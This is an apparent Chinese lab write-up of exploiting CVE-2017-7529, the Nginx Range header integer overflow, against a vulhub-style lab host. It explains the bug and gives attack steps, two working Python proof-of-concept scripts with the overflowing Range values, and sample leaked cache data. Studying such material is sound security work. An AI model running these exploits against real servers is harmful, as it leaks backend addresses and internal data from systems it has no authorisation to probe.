CVE-2017-7529 Nginx Range头整数溢出漏洞利用总结

漏洞信息

项目 内容
CVE编号 CVE-2017-7529
影响版本 Nginx 0.5.6 ~ 1.13.2
靶场版本 Nginx 1.13.2
漏洞类型 Range头整数溢出 → 信息泄露
靶机地址 http://192.168.229.60:8080

漏洞原理

Nginx作为反向代理时,通常会缓存后端返回的静态文件。缓存文件的结构如下:

复制代码
[文件头元数据] [HTTP响应头] [HTTP响应体]
                             ↑ 正常只返回这里

Nginx的range filter模块在处理HTTP请求头中的Range字段时存在整数溢出漏洞。当构造包含超大负数Range头时,Nginx的偏移计算产生整数溢出,导致start位置变成负数,从而越界读取到响应体之前的缓存元数据和HTTP响应头。

复制代码
正常计算:start = 文件长度 - end  →  正值
漏洞计算:start = 文件长度 - (-9223372036854773979)
                                      ↓
                              整数溢出 → 负数偏移
                                      ↓
                          读取到文件头 + 响应头
  • Nginx 的 startendint64_t 类型

  • 构造 Range: bytes=-X, -超大负数 → 溢出后 start 变成负数

  • Nginx 错误地将可读取范围扩展到了缓存文件的头部区域

  • 敏感信息(后端地址、缓存KEY、内部头)被泄露

攻击步骤

Step 1:访问目标使其缓存

先用正常请求访问一次,让 Nginx 把页面缓存下来:

复制代码
curl -s http://192.168.229.60:8080/ > /dev/null

Step 2:运行漏洞POC

复制代码
python3 poc.py http://192.168.229.60:8080/

Step 3:解析泄露数据

成功读取到缓存文件头部的敏感信息:

复制代码
Content-Range: bytes -9223372036854773979-611/612
​
-- 泄露内容 --
KEY: http://127.0.0.1:8081/
                      ↑ 后端真实地址泄露
HTTP/1.1 200 OK
Server: nginx/1.13.2
Date: Sun, 14 Jun 2026 14:45:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
ETag: "59526062-264"
Accept-Ranges: bytes

注意: -9223372036854773979 这个巨负的数就是整数溢出的结果,Nginx 把它解析成了负数偏移,导致越界向前读取缓存文件头部。

Python版完整利用脚本

复制代码
import requests
​
# CVE-2017-7529 POC for Nginx Integer Overflow
# Usage: python3 poc.py http://target:8080/
​
target = "http://192.168.229.60:8080/"
​
# 第一次请求:让Nginx缓存
requests.get(target).content
​
# 第二次请求:利用Range头触发整数溢出
headers = {
    "Range": "bytes=-605, -9223372036854774591"
}
​
r = requests.get(target, headers=headers)
​
# 解析multipart响应
for part in r.text.split("--"):
    if "Content-Range:" in part and "-922337203685477" in part:
        print("=== 泄露的缓存头部信息 ===")
        # 提取Content-Range后面的内容
        lines = part.strip().split("\n")
        for line in lines:
            if "KEY:" in line or "Server:" in line or "Date:" in line:
                print(line)
        # 也打印完整内容
        print("\n=== 完整泄露数据 ===")
        print(part.strip())

POC源码解析(来自vulhub)

复制代码
import requests
​
url = "http://192.168.229.60:8080/"
# 关键:第一个Range值控制正常读取范围
#       第二个Range值是超大的负数,触发整数溢出
#       65536是经过计算的偏移值,可以微调
#       -9223372036854774591 ≈ -(2^63 - 2^12)
​
headers = {
    "User-Agent": "Mozilla/5.0",
    "Range": "bytes=-65536, -9223372036854774591"
}
​
r = requests.get(url, headers=headers)
print(r.text)

关键要点总结

  1. 超大负数Range值是漏洞核心,用于触发整数溢出

  2. ✅ 第一次访问让Nginx缓存页面是前提条件

  3. ✅ 成功读到 KEY: 字段 → 泄露后端真实地址(127.0.0.1:8081)

  4. ✅ 成功读到 HTTP响应头 → 泄露服务器版本、时间戳等信息

  5. ✅ 读取的乱码部分是Nginx缓存文件的内部文件头元数据

  6. ⚠️ 偏移值可以调整(如poc.py中的605),不同文件可能需要微调才能命中缓存头部位置

相关推荐
江湖有缘2 小时前
Docker部署HamsterBase Tasks任务管理工具
运维·docker·容器
huangdong_2 小时前
1688商品图片批量下载与SKU图自动分类技术完整实现方案
运维·服务器
yyuuuzz2 小时前
独立站运营的几个技术层面常见问题
大数据·运维·服务器·网络·数据库·aws
MXsoft6182 小时前
**用自动化脚本给MAC误阻断留条后路:可审计、可回滚的准入控制方案**
运维·macos·自动化
ai_coder_ai3 小时前
在自动化脚本中如何调用大语言模型?
运维·语言模型·自动化
我星期八休息3 小时前
Linux系统编程—mmap文件映射
java·linux·运维·服务器·数据库·mysql·spring
java_cj3 小时前
从kubectl源码学pprof:生产环境性能分析的实战指南
运维·云原生·容器·kubernetes
Tian_Hang3 小时前
Linux基础知识(五)
linux·运维·服务器
放下华子我只抽RuiKe53 小时前
FastAPI 全栈后端(八):部署与运维
运维·数据库·react.js·oracle·数据挖掘·前端框架·fastapi